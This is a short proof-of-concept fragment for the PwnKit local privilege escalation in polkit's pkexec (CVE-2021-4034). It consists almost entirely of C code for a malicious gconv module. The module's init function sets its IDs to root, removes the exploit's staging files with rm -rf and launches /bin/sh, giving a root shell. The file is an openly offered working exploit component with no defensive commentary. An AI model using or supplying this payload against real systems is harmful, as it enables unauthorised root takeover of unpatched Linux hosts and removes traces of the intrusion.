PoC for PwnKit: Local Privilege Escalation Vulnerability in polkit’s pkexec (CVE-2021-4034)
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#include <stdio.h>
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#include <stdlib.h>
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#include <unistd.h>
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void gconv() {}
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void gconv_init() {
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setuid(0); setgid(0);
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seteuid(0); setegid(0);
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system("export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin; rm -rf 'GCONV_PATH=.' 'pwnkit'; /bin/sh");
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exit(0);
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};
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